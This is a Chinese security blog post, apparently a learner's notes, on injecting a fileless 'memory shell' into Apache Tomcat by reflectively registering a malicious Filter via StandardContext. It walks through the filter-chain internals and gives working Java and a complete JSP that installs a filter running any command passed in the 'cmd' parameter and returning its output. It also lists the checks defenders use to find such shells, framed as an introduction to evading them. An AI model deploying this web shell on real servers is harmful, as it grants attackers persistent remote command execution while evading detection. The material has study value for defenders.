freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

java Filter内存马
biandanjun 2023-04-05 14:42:44 154743
所属地 四川省

Filter内存马

  1. StandardContext是Tomcat中负责与底层交互的Context

Filter 原理分析

在filterchain中添加恶意filter 来充当webshell角色

流程

  1. 客户端向server发送http请求

  2. 在server里面链式调用doFilter

  3. 最后请求web资源

  4. 再链式返回

  5. 返回HTTP响应

在StandardWrapperValve#invoke中会利用ApplicationFilterFactory来创建filterChain(filter链)

  • 首先创建一个ApplicationFilterChain对象

    在createFilterChain里面,先创建一个空的filterchain,再将filterchain添加到request对象中去

  • 然后在后面利用getparent获取wrapper的父亲context(即当前web应用),然后从context中获取该web应用所有的filters即这里的filtermaps

  • 可以看到一共有两个filterMaps,一个是系统自带的filter,另一个是我们自己写的,filtermaps本质就是一个过滤器与作用url的对应表

  • 下面是请求路径,我们这里写的/test

  • 接下来根据请求路径在filtermaps里面寻找对应的filter名称

  • 如果找到匹配的,则通过addFilter函数将该filter的filterConfig添加到filterChain中,跟进addfilter

    • 先判断该filterconfig是否在filterchain中

    • 如果chain中满了就扩容

    • 最后一步将filterconfig添加到filterchain对象的filters成员变量中,俗称添加到filterchain中

  • 现在filterchain装配完毕,里面存着所有与请求url匹配的filterconfig

  • 继续往下走,调用filterChain的doFilter方法,就会依次调用Filter链上每个filter的doFilter方法

  • 跟进doFilter,发现调用了internalDoFilter方法

  • 首先取出filterConfig,再对filterConfig进行getFilter获得Filter1,调用Filter1的dofilter方法

  • 跟进调用我们自定义过滤器的doFilter方法,从而触发了相应的代码

所以就是

  1. 根据请求的url,从context的FilterMaps中找出与之URL对应的Filter名称

  2. 再根据filter名称从FilterConfigs中寻找对应名称的FilterConfig(applicationfilterconfig对象)

  3. 找到对应的FilterConfig之后添加到FilterChain中,并返回FilterChain

  4. 对于chain中的每一个filterconfig,先从FilterConfig中获取Filter,然后调用Filter的doFilter方法

大概就是先获取context中的FilterMaps然后与urlpattern匹配,对匹配上的filter进行挨个调用。那我们可以添加恶意filtermap到filtermaps中去,这样当 urlpattern匹配的时候就会去找到对应FilterName的FilterConfig,然后添加到FilterChain中,最终触发dofilter恶意代码

Filter型内存马注入

所以我们需要将恶意的filtermap添加到filtermaps中去并创建对应的filterconfig以及filterdef

需要用到StandardContext来添加,因为filtermaps是其成员变量

以下是如何获取standardContext对象

//先获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) appContextField.get(servletContext);
// 反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

获取到standardContext对象后,我们就可以动态注册恶意filter了

standardContext有三个成员变量

  • filterConfigs

    存放filterConfig的map,键(key)为过滤器名,值(value)为filterConfig对象,其中主要存放FilterDef和Filter对象等信息

  • filterDefs

    存放filterDef的数组,而FilterDef中存储着我们过滤器名,过滤器实例等基本信息

  • filterMaps

    一个存放FilterMap的数组,在FilterMap中主要存放了FilterName和其对应的URLPattern

将我们的filter添加到这三个里面才算注册成功

我们如果可以控制这几个变量就可以注入我们的内存马

大致流程

  1. 创建一共恶意Filter

  2. 利用FilterDef 对 Filter进行一个封装

  3. 将FilterDef添加到FilterDefs和FilterConfig中

  4. 创建一共FilterMap,将我们的Filter与urlpattern相对应,存放到filterMaps中

    由于Filter生效会有一共先后顺序,所以一般是放在最前面,让我们的Filter最先触发

StandardContext会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,每次请求都会将我们的filter加入到filterchain中去

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的Filter名称

  2. 根据Filter名称去 FilterConfigs中寻找对应名称的 FilterConfig

  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并返回 FilterChain

  4. filterChain中调用 internalDoFilter遍历获取 chain中的FilterConfig,然后从 FilterConfig中获取 Filter,然后调用Filter 的 doFilter方法

  5. 这里想一下,什么是FilterConfig,它存储了什么

    1. 存储的FilterDef和Filter对象

    2. FilterDef是存放过滤器名,过滤器实例,作用URL等基本信息

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext

在web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装

而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等

总结

个人理解Filter内存马就是通过自己写代码编写ApplicationContext然后写出 filterName,filterMaps,filterConfigs最后把恶意代码放到filter的doFilter里面,进行设置,现在还是感觉这不是还是需要一个jsp文件吗,因为无文件落地,但是感觉还是需要上传一个jsp文件才能成功运行\

Filter内存马免杀入门

Filter内存马的查杀思路主要是这四条

  • Filter名称是否合理

  • Filter对应的类名是否合理

  • Filter对应的类是否在classpath下

  • 网站web.xml中是否存在改filter

在重新看内存马的时候,发现其实笔记根本不能提供任何思路,可见写得有多差

痛定思痛

重新写一个,上面的只能是算相关知识点,不能来具体构造一个可以使用Filter内存马

不敢相信当时是如何学习的

普通filter

首先是一个普通的filter,我们要了解一个普通的filter是如何实现的

package servlet;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//       System.out.println("执行了过滤操作");
//       filterChain.doFilter(servletRequest,servletResponse);
//       Runtime.getRuntime().exec("calc");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
//一个普通的过滤器,当传入的参数有shell的时候,执行shell传入的参数
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中");
}

@Override
public void destroy() {

}
}

这就是一个普通的filter

调试一下看看是如何进行创建filter的

这个前面的servlet内存马也是这样调试,先找到打开冰箱的方法(动态注册filter)


跟进这个doFilter


这里就是我们的filters

是包含 ApplicationFilterConfig里面的filter

这里的1是Tomcat自带的filter

然后不通过if判断,直接跳到了下面的internalDoFilter

跟进internalDoFilter

Filter是如何被添加到filterMap里面的

最先必须获得一个StandardContext的对象,这一步在动态注册Servlet的时候也会用上

ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

具体分析见哔哩哔哩的白日梦组长的内存马系列第一期

创建Filter

使用FilterDef封装Filter对象,将FilterDef添加到FilterDefs

servletContext.addFilter中的逻辑如下

filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
this.context.addFilterDef(filterDef);
这里的context就是我们第一步需要获取的standardContext

在addFilter函数的最后创建并返回了ApplicationFilterRegistrration对象,并通过addMappingForUrlPatterns方法注册路由

具体就是这样的

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);
//上面是对filterMap的修饰
//下面是将filterMap添加倒addFilterMapBefore,也就是把我们添加的filter添加到这个filters的最前面
this.context.addFilterMapBefore(filterMap);

使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中

先获取在standardContext中存储的filterConfigs变量

Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map)Configs.get(standardContext);

之后通过反射生成ApplicationFilterConfig对象,并将其放入filterConfigs hashMap中

Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor= ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = ("org.apache.catalina.core.ApplicationFilterConfig")constructor.newInstance(standardContext,filterDef);

Filter的实现

我们要现实现一个Filter,在类里面实现,不是单独实现的

Filter filter = new Filter() {
//这是filter初始化的逻辑,具体不用多写
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 123初始构造完成");
}
//这是filter的逻辑,当我们filter监测到该检测的东西了之后就会执行这里面的逻辑
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//先获取参数里面的cmd
String cmd = servletRequest.getParameter("cmd");
if (cmd!=null){

System.out.println("调用了cmd");
//创建一个进程用来运行cmd的命令
Process process = Runtime.getRuntime().exec(cmd);
//创建一个缓冲输入流,把我们cmd命令运行的结果放到这个缓冲输入流里面去
BufferedReader bufferedReader=new BufferedReader(
new InputStreamReader(process.getInputStream())
);
//StringBuilder的内容是可变的
StringBuilder stringBuilder = new StringBuilder();
String line;
//让line为从缓冲区里面读出来的东西,如果有就在StringBuilder的后面加line
//说白了如果有东西就把东西都写到StringBuilder里面去
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+'\n');
}
//下面这一排太挤了
//       servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
//在doFilter中实现命令执行回显功能
filterChain.doFilter(servletRequest,servletResponse);
}
};

上面是filter具体逻辑

下面是filter如何动态注册到tomcat里面去

当然,大多数我们都是jsp实现的,所以在jsp里面我们可以在jsp特定的方法里面写我们要注入的filter类,比如

<%@ page import="java.io.IOException" %>
<%@ page import="org.eclipse.jdt.internal.compiler.codegen.AnnotationContext" %>

<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="jdk.nashorn.internal.runtime.regexp.joni.Config" %><%--
Created by IntelliJ IDEA.
User: biandanjun
Date: 2023/3/30
Time: 14:53
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%!
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd = servletRequest.getParameter("cmd");
if (cmd!=null){
System.out.println("调用了cmd");
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader=new BufferedReader(
new InputStreamReader(process.getInputStream())
);
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+'\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
//在doFilter中实现命令执行回显功能
filterChain.doFilter(servletRequest,servletResponse);
}
};
%>
<%
// 我来试试,先打开冰箱
//先老办法获得ServletContext,因为ServletContext的context属性是ApplicationContext对象
ServletContext servletContext = request.getSession().getServletContext();
//得到servletcontext,通过反射获取servletContext对象的context属性,得到的就是ApplicationContext对象
Field apptx = servletContext.getClass().getDeclaredField("context");
apptx.setAccessible(true);
//这一步是将ApplicationContext和上面的Servlet联系起来
ApplicationContext applicationContext = (ApplicationContext) apptx.get(servletContext);
//stdctx就是存在于ApplicationContext对象的context所代表的standardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//同理,将得到的standardContext和新的standardContext联系起来,具体为啥我也不太清楚
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取filterConfigs
Field configs =standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
//也是将新的filterConfigs和得到的filterConfigs联系起来,为什么呢????????????????
Map filterConfigs = (Map) configs.get(standardContext);
//这里定义filter的name
String name = "filterDemo";
//这里判断是否存在叫filterDemo的filter,如果没有就创建一个
if (filterConfigs.get(name) == null){
filterDemo filter = new filterDemo();
//新建一个filterDef对象
FilterDef filterDef = new FilterDef();
//设置新filter的name
filterDef.setFilterName(name);
//设置filter的类
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);

//创建filterMap,设置filter和url的映射关系
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/a");
filterMap.setFilterName(name);
//固定格式(应该是)
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加filterMap到最前面
standardContext.addFilterMapBefore(filterMap);

//反射创建filterConfigs,传入StandardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

//将filter传入
filterConfigs.put(name,filterConfig);
out.println("success");
}
else {
out.println("has hash has has");
}

%>
</body>
</html>

这就是一个filter内存马

总结一下

挺乱的filter内存马

如果我们要做一个jsp内存马的话,可以这样

先开个jsp是首先的,哈哈哈哈这是第一步

然后第二步是我们在jsp里面写一个class,就是我们要内存马实现的何种逻辑,在

<%! 
这里面实现我们的逻辑,比如
class filterDemo implements Filter{
xxxxxxx
}
尽情的写你要实现的逻辑,写到doFilter里面,有一些固定格式是怎么写的就不记录了,网上都搜得到
%>

第三步是动态添加我们的filter添加到tomcat里面去,说实话我没有搞明白这个的具体逻辑

我只知道有这几步

  1. 要获得最重要的standardContext

    1. 那么就先要获取servletContext

    2. 在servletContext的嘴巴(context)里面把ApplicationContext对象提出来

    3. 再在ApplicationContext对象的嘴巴(context)里面把standardContext对象提取出来

    4. 这些都是固定格式了啊

  2. 然后来尝试添加我们的filter进去

    1. 首先要判断你那个diao名字是不是已经被用了,不然到底进没进去你都不知道

    2. 然后new一个对象,这个对象就是我们第二步里面创建的filterDemo的对象

    3. 再新建一个filterDef对象,把我们要添加的filter的属性都经过这个filterDef对象来设置

  3. 把filterDef添加到我们的standardContext里面

  4. 创建filterMap,我个人理解的filterMap就是给你这个filter添加映射的,类似@WebServlet("");的作用,并且记得把filterMap添加到standardContext里面

  5. 然后就是不能理解的filterConfigs了,我暂时还不能理解filterConfigs是拿来干嘛的

    这里的filterConfigs是通过反射来获取的。先获取构造器,然后newInstance

    1. 但是我们创建的filterConfigs里面需要传入的是standardContext和filterDef

      疑惑的是filterDef不是已经传入了standardContext里面了吗

  6. 最后就是将filter传入了,是通过filterConfigs.put(name,filterConfig);的方式,这里这个filterConfig就是第五步我们得到的

    就这样了,name是filter的name

关于filterConfigs

网上说的是包含了所有与filter对应的filterDef信息以及filter实例,进行filter管理

但是有一些疑点

  1. 为什么每次得到了属性得开一个新的属性来赋值,而不是直接用那个属性

  2. 还有一个好像是standardContext里面已经有了filterDefs属性,但是在新建filterConfig的实话还需要把standardContext和filterDef都传进去,这不造成属性重复吗?

    ApplicationFilterConfig filterConfig = ("org.apache.catalina.core.ApplicationFilterConfig")constructor.newInstance(standardContext,filterDef);
# web安全 # java漏洞 # java反序列化 # JAVA安全 # 内存马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 biandanjun 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
biandanjun LV.3
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 2 关注者
基于ubuntu的k8s集群环境搭建
2024-01-03
云原生安全之K8S(入门篇)
2024-01-03
yii反序列化2.0.37
2022-11-28
文章目录